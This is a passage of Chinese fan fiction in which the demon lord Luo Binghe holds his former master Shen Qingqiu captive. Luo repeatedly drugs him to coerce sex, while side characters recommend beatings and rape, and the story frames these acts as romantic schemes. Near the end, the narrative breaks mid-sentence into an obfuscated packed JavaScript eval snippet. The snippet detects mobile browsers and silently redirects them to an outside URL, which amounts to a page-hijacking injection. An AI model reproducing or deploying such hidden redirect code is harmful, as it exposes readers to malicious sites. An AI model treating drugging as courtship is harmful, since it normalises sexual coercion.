对方都视若无睹般,静静听着他的‘汇报’。一句多余的话,一声属于尊师该有的‘爱护’都没有。 这都暗示到近乎明示了,对方都无动于衷。只能表示一件事—— 沈清秋不在乎洛冰河如何。 也不在意洛冰河在魔界究竟是怎样的处境。 他只关心自己。 关注修真界之人如何在魔界正常生存; 思考不属于魔界的生物如何抵御魔气侵染; 研究灵气和魔气的相似点与不同点,尝试破解被魔气束缚的修为,恢复他应有的战力。 这可…… 真是个令人失望又哭笑不得的结论啊。 无疑,洛冰河希望通过一些小动作来打动沈清秋的心,让他的注意力从研究之中脱离出来,看见自己的‘努力’。 可惜这太难了。 洛冰河的一切行动,包括言语上、行为上四处引导,有意无意展示自己处境艰难、魔族生存不易;还是一次又一次带伤而来,露出希冀又失落的眼神。 主打一个‘快看看我,我为了保护你受了好多的罪的,但是我绝对不会说,还尽可能按照你的要求给你找资料!’。 只是。这跟媚眼抛给瞎子看没区别。 所有洛冰河设想中的愧疚、心疼、慈爱、后悔、满意等情绪,沈清秋都不曾出现过。 更甚至于,这就是一个标准理科直男,脑子里只存在实验数据、文章总结、验算过程、失败复测……所有的一切,都是为了‘最终离开魔界’而努力。 至于洛冰河?一个提供研究资料、时不时过来刷存在感的弟子罢了。 得知这个悲惨事实的时候,洛冰河的脑子已经被震惊掉了。 我为‘攻略’你制作好几个计划,甚至苦心积虑的想着要如何引导、怎么样勾搭、要用什么样的话语和态度回复…… 结果你压根啥都无所谓?! 你是想用事实证明,劳资脑海中设想的你来我往,师徒互动,只是一个研究员对实习生的无情压榨和利用? 而他向往的弟子努力完成任务,得到尊师称赞,对沈清秋来说只是免去他自己去取资料的节省时间做法? 所有的一切,只是一个少年的脑海幻想;而他所做的一切,只是感动自己的一厢情愿? 这这这…… 未免也太伤人了吧? 看着沈清秋明明历经大变却依旧冷漠淡漠的行为处事…… 洛冰河决定用点别的方法,让他的表情发生改变。 比如,下点春天里的药什么的。 ———— 洛冰河精挑细选的对比了许久,终于找到一款满意的,给沈清秋将药下到饭里。 嗯,值得一提的是,在魔界,沈清秋终于不再是不食人间烟火的仙尊,要老老实实的吃饭。给了洛冰河很大的操作空间。 只是…… 沈清秋总归是当惯了仙尊。 哪怕是中了会酸软无力的毒,在察觉到身边有人时,也愣是拼着中毒,也要将对方压在身下。 沈清秋双腿细长,但有力。强健的小腿牢牢踩在对方的膝盖上,将身下的人压制的不可动弹。 手肘屈起,将对方脸狠狠压在地面。论起强压技巧,拥有成年身躯的沈清秋,和尚显稚嫩的洛冰河,是没有可比性的。 洛冰河被压入地面,原本想激发魔气,将对方压下。却又在闻到对方气味后、感知到对方体温后,心里生出些别的念想来。 他们不是第一次深入接触。 甚至说,之前的大庭广众下,洛冰河甚至能将动用禁术、奋起反抗的沈清秋牢牢压制。 只是…… 若沈清秋不愿为下, 只要他主动撕开洛冰河的衣物,便是让他一次,又能如何? 只要对方‘清楚的认识到’‘两人之间的负距离接触’,洛冰河不信这家伙还能一脸平淡的继续研究生活! 让一次,能让对方意识到现状,这笔买卖,值得。 只是……当沈清秋撕碎衣物,触摸到对方的那一刻,被药物迷上的双眼却骤然睁开,一脚将洛冰河踢出门外。 中药,找人解药。 这个流程没有问题。 甚至说,如果刚才是个魔族女子,只要事后将其杀死,这件事连个风声都传不出去。 可那是个男人。 身为直男甚至有些厌恶同性的沈清秋,没办法放任自己继续下去。 生理性的需求和骨子里的厌恶。 当然是,选择将恶心的东西丢出去。 中毒又死不了,无非是难受些。 可若是违背原则,压抑本性,那便是想一次恶心一次,恶心一次厌恶一次的程度。 ———— ———— 事后,沈清秋意识到自己错将弟子当成解毒剂,并且还将对方踹出去之后—— 理所应当的觉得自己简直太干脆利落了,干的漂亮! 这样一个会扰乱自己习惯,给他带来不可控隐患的玩意,没弄死而是踢出去,已经很收敛了! 而当洛冰河发现沈清秋连半点的脸红、愧疚、羞涩、尴尬都没有,甚至还用‘研究过忙,你把饭和资料放到门口就行’来打发自己。心里更怒了! 你之前还会假情假意的关心几句,怎么现在是连见都不想见,满脑子只有怎么走出魔界吗?!该死的研究就那么重要? 生气,杀个魔尊泻火! ———— ———— 在吸取了上一次的‘教训’之后,洛冰河这次不打算给对方占据上方的机会。 让沈清秋压自己太难了,还是他主动点,好好伺候对方吧。 只是…… 这次好像更有难度了点。 对方居然掐着他的脖子,压着他的腰腿,如狩猎的独狼,恶狠狠的撕咬他的肩膀。 中毒、虚弱这些debuff并没有磨灭他的心性,反而助长了他的凶狠。 当对方意识到这并不是一个‘可以用来解毒后杀掉’的存在后,对方选择了将见证自己脆弱的家伙弄死,然后大家一起死。 洛冰河:…… TM的,我想跟你妖精打架,你是真的朝死里跟我打啊!!! 那就打!劳资堂堂魔界至尊,不服就干啊! ———— 洛冰河:“所以你当时,只是为了完成任务?” 沈清秋:“你以为?” 为什么会有人将数月出现一次,认为成频繁啊? 为什么会有人认为实在不知道说些什么,只能随便出题考察,当成对个人DIY的独一份关心啊? 为什么会有人以为,单纯的看他不爽所以就砸了,当成是对他的警告和示威? 是因为只要有‘苦衷’,因此受过的伤、感受到的失望和悲愤,就能被抚平? 可笑。 公道只能自己讨回,输赢成败只能由结局论定。为什么会有人觉得这些东西可以凭借顾影自怜、将希望放置到别人身上啊? 像是沈清秋,少年踩过一次坑,后面就紧守着不可能再次踏入。即便是忽逢大变,也从不曾寄希望于其他人的‘拯救’,而是认真研究解决和破局办法。 这才是正确的行为逻辑。 沈清秋看着明显脸色难看的洛冰河,认真会想一下之前的‘荒唐故事’。艰难的扯了扯嘴角: “一介魔尊,想玩‘骑’师犯上的戏码?” “魔族都如此……理乐崩坏吗?” 洛冰河:…… 玛德,劳资的感动和纠结,一腔柔情和孤勇,都TM的喂了狗! 对待这种家伙,就得将对方狠狠压在地上,揍上一顿又一顿! 洛冰河:“你想离开魔界?” 沈清秋:“条件?” 洛冰河:“陪我。” 沈清秋:“算了,来战。” 洛冰河:…… 所以最后的结果就是继续打?! 太难了,为了睡个不懂风情的家伙,他都要努力成武力值世界第一了! 42.小虐怡情-纯甜分支 故事从沈清秋独自处理伤口晕倒后讲起。 ———— 沈清秋再次清醒,整个人状态要好上许多。 当然,身边的人也开始絮絮叨叨:“怕疼就早点喊我,受委屈受责打就说出来,弟子又不是不给您出气,偏要自己硬扛着,搞出病来,还不是自己受?还不是弟子替您善后?” “……” 沈清秋有点无奈,这家伙也未免太唠叨了,他都不觉得累吗?虽然胳膊依旧抬不起来,声音也虚弱无力,气势依旧不输阵。沈清秋简单干脆的给了对方逐客令:“滚。” 可惜,这家伙却完全在乎,甚至脸上满是不同意和‘我是为了你好’的表情,极为清脆的反驳: “弟子滚了,您怎么办?” “……” 长本事了,敢跟他顶嘴了。 果然修真界实力为尊,他势弱的时候,连徒弟都敢跟他唱反调。 ———— 沈清秋能站起来之后,每天都在写写画画。 当然,这些东西并没有收起来,而是就那么摆在书桌上,洛冰河随时可以‘查看’。 但那又有什么用呢!理工科的东西,化学元素方程式、遗传DNA、力学三轴示意图,这些便是随便丢在大街上,又能有几人看懂?他们都有着防自学禁制啊!!! 侧厢房内,是各种竹制的试管、烧杯、搅拌棒。 嗯...洛冰河终于明白了为什么自己好不容易种的竹子,总会莫名其妙的少一大半... 所以根本不是有熊猫喜欢吃,而是都被用来做实验了吗! 对于沈研究员来说,他不知道在魔界养竹子是多么艰难的事情吗?! 哎。真是可惜了洛冰河的一番苦心,还以为对方会觉得这地方就像是回家了呢。 ———— 沈清秋实在是个研究狂,若不是洛冰河每天固定破阵,沈清秋的眼睛就没离开过实验室。嗯——为了防止洛冰河打扰自己做实验,沈清秋进去第一件事就是设阵法,而洛冰河第一件事,就是解阵破阵! 当真是——师斥子啸啊... 在洛冰河与沈清秋数次抗议之后,沈清秋终于了解到,他魔界的这个‘弟子’,是个非常需要人‘关心照看’,偶尔参与生活交流的性子。 尤其是,在对方每一周更换一次庭院装饰后,终于跟他约定,要没事来中庭晒太阳。 而他那惨败的像是随时要断气的脸色,也终于在食养和太阳的帮助下,有了正常颜色。 故而,沈清秋平日里的研究之余,也慢慢学着‘考察’洛冰河这些年在魔界的所作所为。顺便了解下……魔族的生活作息、阶级关系、社会风气、心理健康之类。 更让洛冰河感到意外的是,对餐饭没什么讲究的沈清秋,居然开始给他提要求,想尝试各色菜样了! 洛冰河大喜过望,魔界有的就采买,魔界没有的就穿过两界缝隙去凡尘采集,一天天忙的不见人影。 就连同朝为官的同僚们,也开始打趣他得了新宠之后,脸上开始有笑容、像个青春期的小伙子了。 可惜。闲杂之余,洛冰河还是有些隐隐的失望和暗戳戳的期待。 其他人以为他夜夜笙歌,乐不思蜀。结果他那当惯了仙尊的师尊,每天除了看书就是研究,即便是偶尔‘传讯’于他,也是让他找各种书籍和材料。 当真是……非常标准的师徒关系。 可是,洛冰河想要的,不是这样的‘关照’啊! 什么时候,那个沉迷于研究的师尊,能发现他这个‘弟子’,也需要对方生活上的关怀呢? ———— 洛冰河觉得这段日子还不错。沈清秋虽然霸占了他的寝宫,还设下防御阵法不让他随便进入。 但偶尔出来晒太阳时,倒是能心平气和的交谈上几句。 魔界的植物与景色,被洛冰河一一搬到庭院;沈清秋提出的要求,洛冰河到处去搜索排查:为了沈清秋能正常吃饭,洛冰河甚至寻找出魔界直接到修真界的空间裂缝。 可以说是,为了给对方提供最好的生活水平,费尽心机。 当然,沈清秋研究出成果的时候,也终于懂得了向洛冰河‘展示、指点’。 ———— 修真界终于动了。 用的还是洛冰河千辛万苦找到的空间裂缝。 虽然魔族打赢,可洛冰河的‘通敌’之说,甚嚣尘上。 更重要的是,洛冰河平日里展现的过于沉稳,其他人并不相信他往返修真界,是为了个金屋藏娇的‘娇’取用食物。 普通人的食物或包含灵气的东西,在魔界‘活’不过一天。故而,洛冰河为沈清秋制作的所有食材,都是每天来往而得。 或许说,这本就是沈清秋的传送信息之法。 只要说出自己想吃的食物,洛冰河必然要去修真界进行‘采购’,而通过他‘采买’的种类,倒推出沈清秋想要传递的信息。 再不济,只要‘跟踪’洛冰河,总能找到魔界与修真界的‘空间缝隙’来。 “您在利用我?” 洛冰河有些受伤。他是真的想给沈清秋提供最好的生活条件,可对方却在利用他给修真界传信! 想的再深入些,沈清秋被魔族所掳,是不是修真界的又一个计划?修真界那些人可真狠啊,苍穹山的峰主,也敢算计。 洛冰河定定的看着沈清秋,心里期待着,只要对方说个‘不’字,哪怕是骗他,他也会相信! 可惜,沈清秋什么也没说。 是的,洛冰河一个被偶尔算计在内的半魔,怎么能得到解释? 对方利用他,毫不在乎。 甚至说,连半点愧疚也没有。 洛冰河看着沈清秋平淡的脸,第一次感觉到彻骨的心寒。 他在期待什么呢? 他在奢望什么呢? 这个人,从来都是在利用他。 通过他向修真界传送消息。 利用他搜集魔族秘密。 甚至一开始的‘相见’,说不定都是修真界为了确认他是否可用,究竟有没有倒向魔界。 何其…… 可笑。 ———— 两人的决裂并不隐蔽。洛冰河之前每天都像是新婚,现在却恢复了冷脸。之前时不时去修真界采买零碎,现在却频繁找人喝酒。 连那个不能食用魔族之物的佳人,都是随便丢个餐饭过去,爱吃吃不爱吃拉倒。 只是效果也很快。 当洛冰河破开寝宫的阵法后,这该死的内室就像是压根没人居住似的,冷的像是大冬天的冰窟!而叠的整整齐齐的铺盖,别说潮湿的冷意,恐怕都要长蘑菇了! 他丫丫的。洛冰河就知道,这玩意真是仙尊当惯了,一点也不知道爱惜身体吗? 他雄赳赳气昂昂的破除至少三层阵法,终于从实验台上将这家伙捞出来:“我不喊你吃饭,你就要饿死自己吗!你看看你的被褥,都可以当培养皿了!” “......”倒也不必如此,培养皿的要求还挺高的,暴露于空气中的被褥并不符合环境条件。 “!!!”洛冰河看他的神情,就知道这家伙还真去思考‘被褥能不能研究’了!所以咋不饿死他? 洛冰河一时性急,忽略沈清秋虚弱无力的反抗,一手抓着对方的手腕,硬将人拖出来,摁到庭院的桃花树下:“吃饭!” “呃,其实——”沈清秋欲言又止。 只是洛冰河比他更干脆,直接将筷子压到他的手里,还另外取来新的,神色极为危险的威胁道: “现在就吃,不然我硬塞了!” “......”那个,其实我略会炼丹,而且辟谷丹的效果还可以的... 只是看着磨刀霍霍,随时捏着糕点的弟子,第一次觉得——这徒弟看起来好可怕的样子,要不还是给个面子吃饭吧...能省丹药也挺好,哈。 只是第二天,洛冰河再去捞他的时候,就发现这家伙又病倒了! 他丫的。 这TM就是个瓷娃娃!除了死不了,天天都要闹事! “少主……他的体质与魔界不符,您便是再生气,也不能用混合毒素折腾他..吧。若非他体内有尊上赐予的天魔血维系生命,凭您这样折腾,完全扛不住。” “……” 两次了! 洛冰河有些暴躁。到底有没有人为他发声啊,这根本不是他搞的,是对方自己作的! 第一次是非要自己涂药,现在是自己做些狗屁研究把自己毒倒了,一天天的,闹什么? 可惜床上之人脸色苍白至近乎透明,脖颈纤细的更是连血管都看不明确。 这副病秧子的样子,便是洛冰河再气,也不得不压下心头的火气,将人先‘救醒’再说。 —— 他真是欠他的。 洛冰河愤恨的将药喂到对方嘴里,恨不得干脆给他喂血得了。反正这家伙天天闹,有天魔血兜底,怎么也死不了的。至于用天魔血能不能代替吃饭,还是那句话,反正死不了! 嗯。这个想法还没来得及实施…… 沈清秋清醒后的第一件事,就是紧闭双唇,坚决拒绝洛冰河的‘投喂’,而且还一巴掌将药碗打翻了! 他丫丫的,洛冰河很生气。 所以,他干脆上手,一把将对方捞在怀里,重新取个药碗就灌。 沈清秋平日里压根不允许洛冰河近身,更何况是清醒状态下被对方揽在怀里? 双方果不其然的打了一架。 精心制作的白玉瓷,花了几年功夫烧制的青花瓷,价值连城的极品玉珊瑚...被砸成了碎渣。 沈清秋虚弱的床都下不了,却还能用胳膊肘猛捶洛冰河的心口,满目冷厉的要求他离开屋子。 “!!!” 怎么会有如此理直气壮、认不清局势之人? 你知不知道自己是阶下囚,是他的奴隶啊!你就是这么跟主家接触的? 上位者呆惯了,致死都学不会服软? 洛冰河气的转身就走。走到门口又阴着脸将瓷器碎片处理干净。 这些破碎玩意,指不定就让对方用来割血献祭什么了。再不济,又能让对方又布几个阵法来阻拦他进屋。 他这个主人家当的,真是憋屈。 ———— “我说,你不是得偿所愿了?怎么还喊我出来?” “得偿所愿个屁,除了一开始让碰,现在别说个笑脸,能不置气就不错了!” “……” 这话梦魇没法接。像是所有吵架的情侣,任何一方闺蜜或哥们,但凡出个不算好的主意,等双方‘复活’,都要被‘追责’的! 只是吧,是人就有好奇和八卦之心,梦魇眼球一转,开始怂恿: “你那个师尊,之前好像当过仆人?不如布个景来,看看他究竟会不会当奴?” “别想!他是我的,之前的‘主家’要是敢找过来,我一刀砍了他!” “你就不好奇?难道你不想让他喊你‘主人’?” “滚滚滚!” ———— “洛少主最近怎么了,脾气一天比一天大?” “洛少主不是最近新的得佳人,这是受了气?” “要我说,对待床奴就不该给他好脸色,娇着宠着,天天要闹。你真揍上几顿,丢出去几天,立马就老实了。” “喂——”“别说话,你不想玩仙尊?” “啊对对对,这种不听话的,就该让兄弟帮忙教教,让他出去受受罪,立马就老实了。” TM的,洛冰河知道他们出的都是馊主意,也知道这群人心怀不轨。 但该死的,怎么就是觉得确实该霸王硬上弓? 话说,梦魇之前提过的...被沈清秋喊‘主人’...好像...确实很心痒痒? 洛冰河一脸虚心,认真的询问什么样的药最不伤身,最好是凡间凡人都能用的那种。 几人互相对视一眼,异口同声的推荐‘一醉幻梦’。这药一听就是浪漫至极,下在酒里面一同饮用,绝对的闺房极品啊! 就连洛冰河去买这款药的时候,药店老板也用着‘我懂’的暧昧眼神,祝他有一个美妙的夜晚。 ———— 下药,不算太困难.吧。 只需要等沈清秋又开始做该死的研究时,给他放到手边,等他记录反应状态的时间塞到手里,他会自觉的...也给丢到试管中去! 丫的。 这家伙愣是将不算太强的药效给搞成放大n倍的毒雾了! 一片粉红的气体中,某种甜腻的味道瞬间涌起,将整个侧室弥漫填充。洛冰河拉着沈清秋就跑——他可没忘记,这家伙上次中毒晕倒,就是不知道实验出什么鬼毒药来! 只是,半路之上,目的地立刻改成向寝殿奔去。他的目的可不能忘,就算是不能拥有美妙的夜晚,让这个研究狂睡一觉也是好的! 当然,值得一提的是,这个药?的效果还不错,沈清秋的反应比洛冰河想象的要好很多,不仅没有中毒晕眩,甚至还非常直接....将洛冰河压在身下,开始撕他的衣服。 不是,这个剧本不对啊? 难道不该是沈清秋主动香肩半露,欲语还休吗?怎么这么热情的,打算压他?! 沃特,沈清秋力气这么大的吗?还是这个药效果实在太好,洛冰河竟然一时还挣扎不了? 对方的气息已乱,灼热的呼吸打在洛冰河脖颈,他的脸压在床铺之上,脸颊迅速升起红晕。 稀薄的空气与身后之人的灼热狂躁,令洛冰河有点无所适从。 虽然说他还没成婚,也没和妹子贴贴过,但跟身后这个人不是第一次交流啊!这种心跳如擂鼓的感觉,鼻翼满是对方气息的喘不上来气,身后的滚烫与汗毛直立,真的是正常的吗! 莫名的心悸涌上心头,对方的手指冰凉而细腻,随着他的脊背一点点游走。洛冰河忍不住屏住呼吸,随着他的动作而呼吸急促、咽喉无意识滚动。 丫的,他一青涩少年,根本和对方不是一个档次好吗! 身躯不由自主软了下来,对方的手指不再是带着凉意,而是能引起电流的火花。 虽然这和洛冰河一开始的构想不同,但...该死的,跟他啥也不懂比起来,他现在根本提不起来将对方压到身下的愿想好吧!若是...若是他‘委屈’一下,换得沈清秋之后的主动... 好像,也不是不行? …… 沈清秋却在触碰到对方的一瞬间,一脚将洛冰河踢下床榻,并迅速将床帘放下。 “???” 洛冰河是真的迷惑了,我都想好这次委屈一下,之后要好好学习了,结果你却把我踹下来了? 可当他准备爬床之时,却又感受到了防护阵法的痕迹。 好家伙,这是阵法是批发的吗?几秒钟一个? ———— 层层阵法能禁止他人窥探,隔绝声音传出,却不能遮掩无处不在的气味。 随着麝香与血腥的味道传来,一声极为压抑的喘息略过洛冰河的耳廓。 这声音是那么的轻,却又那么的,引人遐想。 更别说刚被引起兴致,都做好委屈准备、却被无情踹出的人。 他不是没有欲。只是沈清秋的情与欲和他从不示人的脆弱一样,从不曾表达、也会展露于人前。 没有人告诉他怎么‘说’ 也不会有人听他‘讲述’,更不会有人以平等的态度去与他‘研究探讨’。 这些东西被深埋在‘不该开口的禁忌’里。到了最后,除了抗拒一切,别无他法。 而洛冰河也终于回过味来。 如果他最后没被‘踢出来’,后续的结果必然是一夜风流后被杀死。 沈清秋不可能会‘承认’这段荒唐事,也绝对不可能容忍师徒□□这种违反人常的事情。洛冰河虽然心心念念想要扑到对方,却也很难面对一个事实—— 如何告知沈清秋这段畸形的感情? 其他的还能用‘弟子蓉慕’来遮掩修正,可若是两人真的更进一步。 洛冰河将如何面对沈清秋,而沈清秋,又要如何对待他这个弟子? 当然。这其中—— 其实洛冰河原本已想好如何表露。只是那前提是沈清秋不会动情,而需要洛冰河强迫的情况下。 可现在的一起都在表明,沈清秋亦是正常人,会中药,会动情,会有需求。 那为什么对方却突然停止了!!! 即便是两人发生不该发生的事情之后,他被沈清秋追杀,也好过现在在床铺下瑟瑟发抖好吧! ———— 次日清晨,沈清秋打算下床之时,却发现床铺上被设置了阵法。而且他的状态也不是很好,明明是睡了一晚上,怎么跟打了一晚上架似的,满身血不说,还很疲惫? 疑惑之后,解除阵法。 在床下发现了不该出现的人。 “!” 这可真是。怪不得他的床上会有莫名其妙的衣服碎片! 这家伙想爬自己的床,被他打下去了? 果然千防万防,家贼难防。有一便有二,还是找机会将他弄死吧。 “出去。”沈清秋的声音极冷。 他最厌恶的,就是私人空间被他人侵入。而且这家伙明显心怀不轨,‘爬床’可不是什么好事。 怪不得他昨天会在床铺上设置阵法,若不是他还没研究出来怎么恢复修为,这家伙早该一刀砍了。 只是…… 下面这个人,眼里居然出现了‘委屈’和‘哀怨’? 搞什么啊?我都没说你入侵我的空间,你哀怨个什么头啊!我像是什么没事会找茬的人吗?还不是你先越界? “滚出去。” 沈清秋再次重复。 若是对方继续装傻,他会直接开打。 “师尊……” 声音极为幽怨。是迎着冷风吹了一晚上也没想明白的委屈。 洛冰河实在想不通。为什么。明明他是有反应的,甚至主动撕他的衣服,引起他的火花,可为什么最后却一脚将他踹出来? 而且这家伙就像是失忆了似的,别说愧疚和羞涩,就连最基础的‘你怎么了’‘你为什么会出现在我房间’这种关心也不曾有? 他丫的,沈清秋不会有什么记忆方面的问题吧? 他不管,虽然药是他给的,可将药性激发的是沈清秋,主动撕他衣服的也是沈清秋,这个事他认也得认,不认也得认! 明明是他主动将他压下,引他入情,还向下探…… 不对。问题好像就出在这里! 洛冰河好像发现了华点。为什么沈清秋宁可将人丢出来,也不用他‘解毒’?!而且最后那声喘息,满屋子的血腥味...对方明明可以用更快乐的方法解决,却将自己搞成那样? 难道说——他就是单纯的不喜同性?! “……” 这个,事实,实在是…… 令人震惊又无奈啊。 怪不得当初他反抗那么激烈。 让一个不喜同性的人,强压或被压,都是件……极为残忍的事啊…… ———— “洛少主看起来心情还是不好?怎么,是酒不好用?” “哎哟,那肯定是不够烈,试试‘逍合’,这个绝对够烈,包管你第二天都下不了床。” “……” 洛冰河不想跟这群花花公子聊天,但又实在心里没谱。 沈清秋的问题是他根本不喜欢同性。 甚至达到了极为厌恶同性接触的程度。 这种情况下,他怎么跟对方玩‘感情’游戏?总不能扭曲他的认知,让对方以为他是妹子吧? 好烦。 想杀人。 洛冰河喝多了。 酒不醉人、人自醉。 心里有事的时候,喝的不是酒,是消愁。 那群人的怂恿还在耳边,来回播放: “那有什么贞节烈女,多打几顿就行了。”“就是就是,敢咬人的,都是太宠了,丢出来大家一起管教管教。” 是他错了,不该过于照顾对方的情绪? 可身为弟子和伴侣,不是本就该紧守界限,满足对方的愿望吗? 洛冰河鼓起勇气,拼命敲开沈清秋的房门,看着对方那张不耐的脸,认真询问: “您想要的,是什么。” “……” 沈清秋并不想和一个醉酒的疯子聊天。但他也受不了有人死命敲门,给他制造麻烦。研究需要安静的环境! 看着明显喝醉的家伙,随口说句“覆灭魔界”后,转身就回去。 洛冰河:…… 即便是烂醉如泥,他也听得出来,对方话语之中的敷衍与无所谓! 这家伙的眼中有自己吗? 洛冰河究竟在沈清秋眼中是什么位置? 上次利用自己传递消息时,看见他因为这件事到处跑、快脱了一层皮,沈清秋竟是一点愧疚也没有吗? 这个家伙,是不是从头到尾都在利用他? 甚至说,在他喊对方‘师尊’之时,不说应声,连扭头看一眼,也不曾。 俗话说得好,酒壮怂人胆。 被风吹的更醉的洛冰河,跟在沈清秋的身后,随他进了屋子。然后,趁对方没反应过来,一下将人压在床榻之上。 上次明明是有机会的,只是他一时没反应过来,才给了对方空隙。 既然给你机会你却将我踢出去,那就还是我主动吧。 今天,要么我睡了你,要么我们一起死,又不是没亲密接触过,我就不信性取向是不能修改的! …… 嗯。事实证明,这个真的很难。 沈清秋压着洛冰河的胳膊和腿,如被刺激到的野狼、恶狠狠的咬着洛冰河的脖子。其阵势之猛烈,动作之狠辣,是真的想要身下之人的命。 这是标准的狼吻,若是再深入几分,洛冰河当即便会命丧于此。 在选择用洛冰河解毒和杀死敌人之间,沈清秋毅然决然的打算弄死这个敢跟自己下毒的家伙,然后硬靠毅力抗下毒药。 中药或许很难受,但用同性当解药,是只要想一想就要恶心的想灭杀世界的程度! 同样的坑已经踩了一次,坚决不可能出现第二次! 只是…… 主场优势,客场压迫。 在洛冰河心头发狠之下,沈清秋只恢复些许的仙力,并不足以对抗火力全开的半魔。 两人打了有史以来最严重的一架,险些将半个院子拆掉的那种。 而这场动静,也引来了其他人。 ———— “洛冰河。” 魔尊的声音很平淡。甚至可以说是‘慈爱’:“告诉我,你那个‘师尊’,究竟恢复几层仙力?而你,又在其中什么位置?” 如果一个雷没炸,那么大家便会担心他什么时候炸,会炸出多少人,会有什么样的后果。 可如果这个雷爆炸过了,威力也在可以接受的范围之内。 一切尘埃落定,还有什么好激动的? 魔尊一直在意的,先是底下这个人对魔界的真心;其次是该扔到地牢却被其他人金屋藏娇的沈清秋。 现在情况很明确。 该陷入情海、走不出床铺的,不仅身体健康,甚至还能与魔界新秀打个你来我往、打破半个庭院。 而这个真实心境不知的新秀,对外的风声是得遇新人、恩爱异常,实际却是放纵对方恢复,而且没办法压制对方。 沈清秋当然是被天魔血控制后丢入地牢。 可眼前这个,又该怎么处理? 若是直接杀了倒不是不可以,就是多多少少有些可惜。毕竟纱华铃提过很多次想收入床榻。 可若是放过,谁知道他会不会又一次炸雷? 算了。还是两个都杀了吧。 修真界也不像是想谈判的样子,一刀砍了最放心。 …… 最后的结果,是洛冰河爆种,杀掉魔尊。满身是血的踏上魔族至尊位。 “尊主,沈……仙尊,如何处置?” 跪地汇报之人也不知该如何称呼地牢那位。 别说他,就连负责地牢的人,也不知道该怎么对待这位主。 如果按照正常流程,那边该是先滚刀刮板走一圈,接着各色鞭子来一套,将人打个半死之后再随便找几个问题问话,甭管是回还是不回,接着再来一次流程。 等这两轮下来,基本上人也就废了。甭管是后期问话,还是被人救走,都是废物一个。 可这个主不行啊。 先不说他从地牢里出去后,还能打杀那么多人,便是这‘二进宫’后如何安置,都是个问题。 若是魔尊还是之前那位,那只管狠狠的打,便是弄死也无妨。 可现在这个,可是将这位主精细养了那么久。瞧瞧这细皮嫩肉的,现在谁敢打一鞭,指不定回头就得被魔尊亲自抽死。 可若是说好生将养,魔尊都上位那么久了,也不曾将人从地牢里‘请’出去…… 这般冷处理,让他们这些人实在是心慌啊。 “他现在如何。” 魔尊的声音极为轻微,就像是随口问句‘天气怎么样’似的。 但整个魔界上下,谁不知道,若不是为了那位爷,魔尊现在还被称为‘洛少主’呢。 只是… 这话怎么回? 若是直接告诉魔尊,哪位爷自入了地牢,就跟回了洞府似的,除了第一天打坐一天,之后还能要求他们给他找资料书籍吗? 最重要的是,新魔尊上任后,地牢那群人,还真给大爷找了无数孤本和纸张。若不是地牢阴冷潮湿、不见天日,这位爷和进了研究所有什么区别? 看着底下人思考良久也不曾回话,洛冰河干脆走下座位,打算亲探一番。 从这群家伙的脸色中就知道,沈清秋过的,绝对不会‘凄惨’。 …… 只是。 当洛冰河看到时,还是被气笑了。 劳资为了你跟魔尊拼爆种, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255541|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果你悠悠闲闲的在地牢搞研究?? 甚至还让他一介魔尊先等上半个多时辰,才终于有空抬起头来,跟他道一句:“来了?”后继续埋头研究?? 你知不知道为啥你能在地牢这么舒服啊? 你之前在地牢走一圈是多狼狈,当真一点记忆也没有了? 丫的。洛冰河看着这一个时辰以来,除了一句“来了”后连个眼神都不给的家伙,气的转头就走。 可当晚收到地牢信息,沈清秋要更多的孤本和研究数据时…… 洛冰河直接将桌子掀了。 欺人太甚! 简直欺人太甚! 当新任魔尊要求撤除沈清秋“特权”时…… 地牢负责人:…… 当官可真难啊。 ———— 当沈清秋手头上的资料都被收走后,他非常自觉的坐在床铺之上,闭眼打坐。 每天正常吃饭、打坐。一句别的话也不说。 地牢负责人每天忧心忡忡。一边担心地牢这位爷闹幺蛾子,一边担心要是魔尊抽风问起来,他要怎么回复? 你们小情侣玩分分合合就关起门自己玩嘛,地牢里污秽那么多,血腥又阴冷,怎么适合呢? 可他又不敢多说。 地牢里这位明显是魔尊的心头肉,恭敬养着,总比不小心卷进去,落得个尸骨无存的好。 —— 某天,洛冰河突然来到地牢:“岳清源传来信息,问付出什么样的代价才能换你回去。” “?”沈清秋屈尊降贵的睁开眼睛,神情平静,眼里略有疑惑。 双方都知道,洛冰河不可能放沈清秋回修真界,也不可能为他解开天魔血的枷锁。 所以,洛冰河亲自为这件事跑一趟,是为了什么? 看着真把地牢当家的沈清秋,洛冰河是气不打一处来。 原本他还打算玩一出‘潜伏地牢’的苦肉计,但地牢这群蠢货,半点手段也不敢用,这让沈清秋怎么相信? 他便是想说自己被拉下地牢,这群货也不敢在沈清秋身上动手段——当然,洛冰河也会心疼。 这就导致,沈清秋悠然的在地牢休养生息;洛冰河每天累死累活的处理魔界事务。 而且最重要的是,洛冰河不主动过来找他,他也不会提要求吗? 当真是—— 图个啥? 与沈清秋赌气,一点用也没有。 “走吧。” 洛冰河一声令下,地牢负责人立马殷勤的打开牢门:走了好啊,赶紧走,小两口自个出去玩,千万别在回来…… 沈清秋极为自觉的甩甩袖子,整理好衣冠,长腿跨出:“这地方不错,静心。” 地牢负责人:…… 别啊大爷,我们还想要命…… 果然,魔尊夺命的目光已经射过来,地牢负责人下意识跪在地上,瑟瑟发抖。 ———— 关于沈清秋出来后,两人如何相处,洛冰河也思考过很多次。 但想再多有什么用?还不如直接面对! 故而…… 洛冰河看着极为习惯的走入主室,设置阵法的沈清秋,无力的嘴角抽搐。 怎么说呢,这可真是一个…… 无论何时何地都能让自己过的舒服的家伙。 他的魔宫虽然不算繁华,已经舍弃了很多华而不实的玩意。 但是沈清秋入住之后,更是干净整洁的……不像是人居住过的痕迹。 若不是床铺上留有软铺,这个屋子和没人有什么区别? 怪不得沈清秋会评价地牢‘挺好’,敢情他是真的觉得挺好啊! 而他这个魔尊,每日除了要除了魔族事物,还得累死累活的给沈清秋当弟子,满足他的研究需求。 咋说呢…… 这和跟自己找了个上司及祖宗有什么区别? 忍无可忍,无需再忍。 